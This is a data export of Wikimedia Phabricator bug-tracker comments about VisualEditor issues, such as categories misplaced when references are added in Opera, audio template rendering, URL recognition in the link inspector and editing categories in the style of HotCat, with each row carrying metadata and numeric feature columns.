236103,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"(In reply to comment #1)
> Another is
> https://pl.wikipedia.org/w/index.
> php?title=Waldemar_Kasta&diff=36944980&oldid=36944831

Bartosz,

Both these corruptions were by you - were both of them made using Opera? If so, I'm happy to mark this bug out to you (but please clean up after yourself when editing using a blacklisted browser).",,,1372472137,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,15.0,3.0,2.0,8.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,8.0,16.0,7.0,2.0,0.0,0.0,8.0,0.0,2.0,2.0,3.0,5.0,0.0,0.0,0.0,3.442622950819672,0.7868852459016393,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

Bartosz,

Both these corruptions were by you - were both of them made using Opera? If so, I'm happy to mark this bug out to you (but please clean up after yourself when editing using a blacklisted browser)."
236095,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),"Very strange, looks like metadata is being moved somehow. Do we have any information about what the editors did to provoke this?",,,1372468169,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,2,False,,,-1,,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28,1.0,"Very strange, looks like metadata is being moved somehow. Do we have any information about what the editors did to provoke this?"
236088,VisualEditor: Categories deleted or misplaced when a reference is added (in Opera),Another is https://pl.wikipedia.org/w/index.php?title=Waldemar_Kasta&diff=36944980&oldid=36944831 .,,,1372445852,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-poawg73ix2eh7lpylhyd,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,50.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Another is URL .
52365,VisualEditor: Template:Listen (and similar sound files) doesn't render the TMH aspects correctly,"Screenshot

Firefox 21.0, Windows 7 - see screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49896

**Attached**: {F11161}",Low,25.0,1372417620,1539835123.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-6fjqaicfdcw65wigvygy,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2244897959183674,0.5306122448979592,"Screenshot

Firefox 21.0, Windows 7 - see screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL

**Attached**: {F11161}"
1161181,VisualEditor: Template:Listen (and similar sound files) doesn't render the TMH aspects correctly,"Looks perfect now.
{F26621568}",,,1539835123,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6fjqaicfdcw65wigvygy,task_subcomment,,True,c1,3,True,,,276,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Looks perfect now.
{F26621568}"
1152595,VisualEditor: Template:Listen (and similar sound files) doesn't render the TMH aspects correctly,"It looks better today than in that screenshot, but still a bit funny:
https://en.wikipedia.org/wiki/Rage_Against_the_Machine?veaction=edit&section=3#1992–2000%3A_Mainstream_success
{F26280267}
…But I am 99% sure it will be fixed completely by T201081 (which will swap from using a `<video>` with a fake thumbnail to using `<audio>`). We should test this after that is deployed.

Note that it will display using the HTML5 `<audio>` player in your browser, rather than actual TMH interface. I think attempting to load TMH here is unnecessary, since you can't interact with the element to play it, anyway.",,,1538513327,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6fjqaicfdcw65wigvygy,task_subcomment,,True,c1,3,True,,,274,,0.0,0.0,0.5,1.5,1.0,4.0,1.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,2.0,1.0,5.0,10.5,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,3.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.5,1.0,0.0,0.0,1.0,6.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,10.0,2.0,1.0,6.5,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,6.5,10.5,6.0,0.0,0.0,0.0,6.5,0.0,0.5,1.5,0.0,3.0,0.5,0.0,0.0,3.7230957372466804,0.8408455625436757,"It looks better today than in that screenshot, but still a bit funny:
URL
{F26280267}
…But I am 99% sure it will be fixed completely by T201081 (which will swap from using a CODE with a fake thumbnail to using CODE). We should test this after that is deployed.

Note that it will display using the HTML5 CODE player in your browser, rather than actual TMH interface. I think attempting to load TMH here is unnecessary, since you can't interact with the element to play it, anyway."
234691,VisualEditor: Template:Listen (and similar sound files) doesn't render the TMH aspects correctly,This looks like it is caused by bug 49896.,,,1375050061,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-6fjqaicfdcw65wigvygy,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,This looks like it is caused by bug 49896.
52360,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol","This is a legacy of wiki-syntax, where all external links have to begin with the protocol. It would be nice to make the VE link inspector smarter than this.

""www.google.com"" is almost certainly meant to be an external link - if there is an article by this name, then it could be shown in the link inspector dropdown as well, but the option for ""External link"" definitely needs to be there. Even something like ""royal.gov.uk"" should be recognised as a URL.

Requiring ""http://"" or some other protocol at the start is confusing for the newbie, as the protocol component of URLs is generally ignored nowadays.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1372414560,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-qdoykgze5mrfb2vlwluc,task_description,open,True,c1,2,False,False,,-1,,1.0,0.5,0.0,2.5,0.0,5.0,2.0,0.0,0.0,0.5,2.5,0.0,0.0,0.5,0.5,0.0,0.0,7.0,10.0,0.5,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,4.0,1.5,1.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.5,3.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,6.0,7.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,10.0,0.5,0.0,4.5,0.0,1.0,0.5,0.5,2.0,0.0,0.5,0.5,0.0,0.5,4.036678403755868,0.6920970266040689,"This is a legacy of wiki-syntax, where all external links have to begin with the protocol. It would be nice to make the VE link inspector smarter than this.

""www.google.com"" is almost certainly meant to be an external link - if there is an article by this name, then it could be shown in the link inspector dropdown as well, but the option for ""External link"" definitely needs to be there. Even something like ""royal.gov.uk"" should be recognised as a URL.

Requiring ""URL or some other protocol at the start is confusing for the newbie, as the protocol component of URLs is generally ignored nowadays.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
504991,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol","So we now have a separate external link input, but it shows URLs without a protocol as invalid :/",,,1439170185,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qdoykgze5mrfb2vlwluc,task_subcomment,,True,c1,3,True,,,110,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.95,0.95,"So we now have a separate external link input, but it shows URLs without a protocol as invalid :/"
335540,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol",">>! In T52360#542816, @Krinkle wrote:
> We solved this to some degree in WikiEditor with the link dialog in that extension. We can probably re-use some of that logic.

https://github.com/wikimedia/mediawiki-extensions-WikiEditor/blob/master/modules/jquery.wikiEditor.dialogs.config.js#L131

By looking for www.? Yeah, that doesn't work. phabricator.wikimedia.org should be recognised, as well as the bug creator's suggestion of royal.gov.uk.

Sounds like {T76398} would fix this by having the user deal with it instead.",,,1417555457,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qdoykgze5mrfb2vlwluc,task_subcomment,,True,c1,3,True,,,74,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,13.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.018867924528302,0.8301886792452831,"QUOTE
QUOTE

URL

By looking for www.? Yeah, that doesn't work. phabricator.wikimedia.org should be recognised, as well as the bug creator's suggestion of royal.gov.uk.

Sounds like {T76398} would fix this by having the user deal with it instead."
234479,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol",*** Bug 56490 has been marked as a duplicate of this bug. ***,,,1402609062,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qdoykgze5mrfb2vlwluc,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56490 has been marked as a duplicate of this bug. ***
234474,"VisualEditor: Link input widget should somehow recognise input text that look like urls without protocol as external links (e.g. ""www.example.org/foo"") and then guess the right protocol",We solved this to some degree in WikiEditor with the link dialog in that extension. We can probably re-use some of that logic.,,,1373369726,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qdoykgze5mrfb2vlwluc,task_subcomment,,True,c1,3,True,,,1,,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,22.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8518518518518516,0.8148148148148148,We solved this to some degree in WikiEditor with the link dialog in that extension. We can probably re-use some of that logic.
52340,VisualEditor: FlaggedRevs status box causes blank space down the right side of CE content div,"Screenshot of bug

1. Go to [[de:Special:PendingChanges]]
2. Visit one of the linked articles and edit it in VE

Notice the wide right margin, caused by the floating FlaggedRevs status box.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11085}",Low,25.0,1372388280,1405449142.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-q7kvrcess52gstbba6tv,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,1.0,7.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,3.472972972972973,0.6351351351351351,"Screenshot of bug

1. Go to [[de:Special:PendingChanges]]
2. Visit one of the linked articles and edit it in VE

Notice the wide right margin, caused by the floating FlaggedRevs status box.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11085}"
233251,VisualEditor: FlaggedRevs status box causes blank space down the right side of CE content div,"Indeed, probably fixed a while ago…",,,1405449142,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q7kvrcess52gstbba6tv,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Indeed, probably fixed a while ago…"
233247,VisualEditor: FlaggedRevs status box causes blank space down the right side of CE content div,Seems fixed?,,,1405410026,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-q7kvrcess52gstbba6tv,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Seems fixed?
52239,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","At the moment adding categories (through ""page settings"") involves turning away from the actual content. This is a problem because a lot of categories are dependent on the actual content, which needs to be referred back to - birth or death years, college, etc, etc.

Suggestion is:
* Show the existing categories in the standard skin location (at the bottom of the page, in Vector)
* Make the categories editable there, in some way.

----
Original onwiki comments were [[https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_6#Categories_-_display_them.2C_please |archive 6]] 
> I can see categories when I read an article. I can see them below the editing paraphernalia when I'm in Edit Source. But in VE I can only see them by clicking ""Page Settings"", which (a) takes a click and (b) means I can't see any of the article content (eg the hard-to-remember-the-spelling district name, the birth date, etc which I might want to use in creating categories, having seen that they aren't already there). Please display the categories in or around the article, not just as ""Page settings"".
and [[https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_7#Categories:_please_display_them_in_VE_-_not_the_right_bug |archive 7]]:
> I want to be able to see the categories when I've got an article open in VE: just as I can see them when reading the article, or when editing it in Edit Source. I don't want to have to click on ""Page Data"" to find out whether or not it's already got categories.

--------------------------
See also: {T67518}

merged duplicates: {T53153} and {T71506}
",Low,25.0,1372262760,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_description,open,True,c1,2,False,False,,-1,,0.5,0.0,0.0,0.5,0.0,5.5,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,7.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,2.5,1.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,14.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.5,9.5,0.5,2.0,7.5,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,7.5,3.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,1.5,0.0,0.0,4.5,3.71830985915493,0.676056338028169,"At the moment adding categories (through ""page settings"") involves turning away from the actual content. This is a problem because a lot of categories are dependent on the actual content, which needs to be referred back to - birth or death years, college, etc, etc.

Suggestion is:
* Show the existing categories in the standard skin location (at the bottom of the page, in Vector)
* Make the categories editable there, in some way.

----
Original onwiki comments were [[URL |archive 6]] 
QUOTE
and [[URL |archive 7]]:
QUOTE

--------------------------
See also: {T67518}

merged duplicates: {T53153} and {T71506}
"
513658,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat",">>! In T52239#1562999, @John_Broughton wrote:
> It would be a definite improvement if the user could reach categories either via a top menu, or by scrolling to the bottom of the page. As several people have pointed out, there are disadvantages of the user being able to do only one of these, and - of course - there is no reason, from a programming viewpoint, why there can't be two paths to the same dialog.
> 
> So yes, I support (a) making existing categories visible at the bottom of a page, when in editing mode, (b) having something at the bottom of the page that, when clicked, will open the dialog where categories can be added or deleted, and (c) leaving that dialog accessible via the Pages options menu.

This sounds like a good path forward. It gives two paths to one dialog rather than two different dialogs. Hopefully, we can also extend the bottom-of-the-page experience to the read mode at some point.",,,1440439943,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,True,,,112,,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,13.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,4.0,12.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7115384615384617,0.75,"QUOTE
QUOTE
QUOTE
QUOTE

This sounds like a good path forward. It gives two paths to one dialog rather than two different dialogs. Hopefully, we can also extend the bottom-of-the-page experience to the read mode at some point."
512714,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","It would be a definite improvement if the user could reach categories either via a top menu, or by scrolling to the bottom of the page. As several people have pointed out, there are disadvantages of the user being able to do only one of these, and - of course - there is no reason, from a programming viewpoint, why there can't be two paths to the same dialog.

So yes, I support (a) making existing categories visible at the bottom of a page, when in editing mode, (b) having something at the bottom of the page that, when clicked, will open the dialog where categories can be added or deleted, and (c) leaving that dialog accessible via the Pages options menu.",,,1440205952,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,111,,0.5,0.5,0.0,0.5,0.5,4.0,1.0,0.0,0.0,0.5,1.0,0.5,0.0,0.5,1.5,0.5,0.5,5.0,11.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,2.0,0.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,14.5,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,8.5,3.0,3.0,4.0,3.0,10.0,0.0,0.0,0.0,0.0,3.5,0.5,1.0,0.0,1.0,11.5,0.5,0.0,0.0,0.0,1.0,0.0,2.5,2.0,0.0,4.0,0.0,0.0,1.5,3.7638888888888893,0.7013888888888888,"It would be a definite improvement if the user could reach categories either via a top menu, or by scrolling to the bottom of the page. As several people have pointed out, there are disadvantages of the user being able to do only one of these, and - of course - there is no reason, from a programming viewpoint, why there can't be two paths to the same dialog.

So yes, I support (a) making existing categories visible at the bottom of a page, when in editing mode, (b) having something at the bottom of the page that, when clicked, will open the dialog where categories can be added or deleted, and (c) leaving that dialog accessible via the Pages options menu."
502024,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","I was pointed to this bug because of a feedback comment. I mostly see discussion about category editing on the page itself. Another feature hotcat offers is to navigate the category-tree, so it is quite simple to put an article in a subcat, or to bring it to a category above it. Can that feature be considered as well?",,,1438716633,,PHID-USER-roxczeg7vc6hdylglkpt,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,109,,0.0,0.0,0.0,3.0,0.0,1.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,18.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,4.0,3.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,3.0,1.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,18.0,0.0,1.0,0.0,0.0,9.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,3.8955223880597014,0.746268656716418,"I was pointed to this bug because of a feedback comment. I mostly see discussion about category editing on the page itself. Another feature hotcat offers is to navigate the category-tree, so it is quite simple to put an article in a subcat, or to bring it to a category above it. Can that feature be considered as well?"
498761,"VisualEditor: Allow the user to edit categories at the bottom of the page, similar to HotCat","How about extracting the categories editor and making it a beta feature as ""HotCatoid""?",,,1438159829,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-ofqsbhnx4zke4uzfi4r7,task_subcomment,,True,c1,3,False,,,108,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,6.0,12.0,0.0,6.0,0.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,4.352941176470588,0.9411764705882353,"How about extracting the categories editor and making it a beta feature as ""HotCatoid""?"
